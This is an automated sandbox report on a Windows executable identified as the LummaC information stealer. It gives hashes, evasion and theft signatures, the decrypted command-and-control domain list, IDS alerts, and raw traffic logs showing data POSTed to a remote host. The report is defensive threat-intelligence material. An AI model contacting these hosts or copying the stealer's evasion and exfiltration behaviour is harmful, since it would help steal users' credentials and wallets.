Edit tour

Windows Analysis Report
random.exe

Overview

General Information

Sample name:	random.exe
Analysis ID:	1643069
MD5:	09a9caa1ae0092481ee8b23a8ae083f6
SHA1:	2e291049c09f450e81c60ffce8f8657f56aa016a
SHA256:	b1b5251222b994e39db8b67f58f1ba624e6db5c791ac2741bbe05a85b94d122a
Tags:	176-113-115-7exeuser-JAMESWT_MHT
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Joe Sandbox ML detected suspicious sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Detected non-DNS traffic on DNS port

Detected potential crypto function

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

random.exe (PID: 6452 cmdline: "C:\Users\user\Desktop\random.exe" MD5: 09A9CAA1AE0092481EE8B23A8AE083F6)

cleanup

Malware Configuration

Threatname: LummaC

{
  "C2 url": [
    "absoulpushx.life/QZwszc",
    "begindecafer.world/QwdZdf",
    "garagedrootz.top/oPsoJAN",
    "modelshiverd.icu/bJhnsj",
    "arisechairedd.shop/JnsHY",
    "catterjur.run/boSnzhu",
    "orangemyther.live/IozZ",
    "fostinjec.today/LksNAz",
    "sterpickced.digital/plSOz"
  ],
  "Build id": "a29da35dd0810576ea5e8b7a9077d2ec"
}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1211132418.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: random.exe PID: 6452	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: random.exe PID: 6452	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-19T14:01:12.475200+0100	2028371	3	Unknown Traffic	192.168.2.11	49698	23.197.127.21	443	TCP
2025-03-19T14:01:13.716487+0100	2028371	3	Unknown Traffic	192.168.2.11	49699	172.67.140.127	443	TCP
2025-03-19T14:01:15.068350+0100	2028371	3	Unknown Traffic	192.168.2.11	49700	23.197.127.21	443	TCP
2025-03-19T14:01:16.293918+0100	2028371	3	Unknown Traffic	192.168.2.11	49701	172.67.140.127	443	TCP
2025-03-19T14:01:18.032136+0100	2028371	3	Unknown Traffic	192.168.2.11	49702	23.197.127.21	443	TCP
2025-03-19T14:01:19.332269+0100	2028371	3	Unknown Traffic	192.168.2.11	49703	23.197.127.21	443	TCP
2025-03-19T14:01:20.775135+0100	2028371	3	Unknown Traffic	192.168.2.11	49704	23.197.127.21	443	TCP
2025-03-19T14:01:22.040949+0100	2028371	3	Unknown Traffic	192.168.2.11	49705	23.197.127.21	443	TCP
2025-03-19T14:01:23.758468+0100	2028371	3	Unknown Traffic	192.168.2.11	49708	23.197.127.21	443	TCP
2025-03-19T14:01:26.177851+0100	2028371	3	Unknown Traffic	192.168.2.11	49709	23.197.127.21	443	TCP
2025-03-19T14:01:27.920315+0100	2028371	3	Unknown Traffic	192.168.2.11	49714	23.197.127.21	443	TCP
2025-03-19T14:01:29.263508+0100	2028371	3	Unknown Traffic	192.168.2.11	49719	23.197.127.21	443	TCP
2025-03-19T14:01:30.704861+0100	2028371	3	Unknown Traffic	192.168.2.11	49720	23.197.127.21	443	TCP
2025-03-19T14:01:32.042485+0100	2028371	3	Unknown Traffic	192.168.2.11	57686	23.197.127.21	443	TCP
2025-03-19T14:01:33.298368+0100	2028371	3	Unknown Traffic	192.168.2.11	57687	172.67.140.127	443	TCP

Joe Sandbox Signatures

• AV Detection
• Compliance
• Networking
• System Summary
• Data Obfuscation
• Boot Survival
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Anti Debugging
• HIPS / PFW / Operating System Protection Evasion
• Language, Device and Operating System Detection
• Lowering of HIPS / PFW / Operating System Security Settings
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: random.exe

Avira: detected

Antivirus detection for URL or domain

Source: sterpickced.digital/plSOz	Avira URL Cloud: Label: malware
Source: absoulpushx.life/QZwszc	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1319624119.0000000000111000.00000040.00000001.01000000.00000003.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["absoulpushx.life/QZwszc", "begindecafer.world/QwdZdf", "garagedrootz.top/oPsoJAN", "modelshiverd.icu/bJhnsj", "arisechairedd.shop/JnsHY", "catterjur.run/boSnzhu", "orangemyther.live/IozZ", "fostinjec.today/LksNAz", "sterpickced.digital/plSOz"], "Build id": "a29da35dd0810576ea5e8b7a9077d2ec"}

Multi AV Scanner detection for submitted file

Source: random.exe	Virustotal: Detection: 47%			Perma Link
Source: random.exe	ReversingLabs: Detection: 50%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1319624119.0000000000111000.00000040.00000001.01000000.00000003.sdmp	String decryptor: absoulpushx.life/QZwszc
Source: 00000000.00000002.1319624119.0000000000111000.00000040.00000001.01000000.00000003.sdmp	String decryptor: begindecafer.world/QwdZdf
Source: 00000000.00000002.1319624119.0000000000111000.00000040.00000001.01000000.00000003.sdmp	String decryptor: garagedrootz.top/oPsoJAN
Source: 00000000.00000002.1319624119.0000000000111000.00000040.00000001.01000000.00000003.sdmp	String decryptor: modelshiverd.icu/bJhnsj
Source: 00000000.00000002.1319624119.0000000000111000.00000040.00000001.01000000.00000003.sdmp	String decryptor: arisechairedd.shop/JnsHY
Source: 00000000.00000002.1319624119.0000000000111000.00000040.00000001.01000000.00000003.sdmp	String decryptor: catterjur.run/boSnzhu
Source: 00000000.00000002.1319624119.0000000000111000.00000040.00000001.01000000.00000003.sdmp	String decryptor: orangemyther.live/IozZ
Source: 00000000.00000002.1319624119.0000000000111000.00000040.00000001.01000000.00000003.sdmp	String decryptor: fostinjec.today/LksNAz

Source: random.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:49698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.140.127:443 -> 192.168.2.11:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.140.127:443 -> 192.168.2.11:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:57686 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.140.127:443 -> 192.168.2.11:57687 version: TLS 1.2

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: absoulpushx.life/QZwszc
Source: Malware configuration extractor	URLs: begindecafer.world/QwdZdf
Source: Malware configuration extractor	URLs: garagedrootz.top/oPsoJAN
Source: Malware configuration extractor	URLs: modelshiverd.icu/bJhnsj
Source: Malware configuration extractor	URLs: arisechairedd.shop/JnsHY
Source: Malware configuration extractor	URLs: catterjur.run/boSnzhu
Source: Malware configuration extractor	URLs: orangemyther.live/IozZ
Source: Malware configuration extractor	URLs: fostinjec.today/LksNAz
Source: Malware configuration extractor	URLs: sterpickced.digital/plSOz

Source: global traffic

TCP traffic: 192.168.2.11:57685 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com

Source: Joe Sandbox View

IP Address: 23.197.127.21 23.197.127.21

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49701 -> 172.67.140.127:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49699 -> 172.67.140.127:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49703 -> 23.197.127.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49698 -> 23.197.127.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49704 -> 23.197.127.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49719 -> 23.197.127.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:57686 -> 23.197.127.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49714 -> 23.197.127.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49702 -> 23.197.127.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49708 -> 23.197.127.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49700 -> 23.197.127.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49709 -> 23.197.127.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49720 -> 23.197.127.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49705 -> 23.197.127.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:57687 -> 172.67.140.127:443

Source: global traffic	HTTP traffic detected: POST /Aosn HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 41Host: gogetxto.life
Source: global traffic	HTTP traffic detected: POST /Aosn HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=8gVVPf3O7lZfa9uqzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 14506Host: gogetxto.life
Source: global traffic	HTTP traffic detected: POST /Aosn HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 79Host: gogetxto.life

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com

Source: random.exe, 00000000.00000003.1180165427.00000000052EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: .google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: random.exe, 00000000.00000003.1180165427.00000000052EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: .google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/;X-Frame-OptionsSAMEORIGINPersistent-AuthWWW-AuthenticateVarysteamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=Nonesessionid=14ea022ad61ad686e7b32f7f; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26508Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveWed, 19 Mar 2025 13:01:19 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control` equals www.youtube.com (Youtube)
Source: random.exe, 00000000.00000003.1211295537.0000000000BCC000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1211117276.00000000052E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: .steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: random.exe, 00000000.00000003.1211295537.0000000000BCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: .steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/;X-Frame-OptionsSAMEORIGINPersistent-AuthWWW-AuthenticateVarysteamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=Nonesessionid=10922277b329486c6e9a3437; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresCon equals www.youtube.com (Youtube)
Source: random.exe, 00000000.00000003.1211117276.00000000052E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: .steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/;X-Frame-OptionsSAMEORIGINPersistent-AuthWWW-AuthenticateVarysteamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=Nonesessionid=10922277b329486c6e9a3437; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresCon-- equals www.youtube.com (Youtube)
Source: random.exe	String found in binary or memory: //recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://sto equals www.youtube.com (Youtube)
Source: random.exe, 00000000.00000003.1293767313.00000000053E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: random.exe, 00000000.00000003.1319292450.0000000000BCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/;X-Frame-OptionsSAMEORIGINPersistent-AuthWWW-AuthenticateVarysteamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=Nonesessioaa*9H equals www.youtube.com (Youtube)
Source: random.exe, 00000000.00000003.1266262952.0000000000BCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/;X-Frame-OptionsSAMEORIGINPersistent-AuthWWW-AuthenticateVarysteamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=Nonesessionid=04c5e25da7147b3b1c1316ee; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26508Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveWed, 19 Mar 2025 13:01:28 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
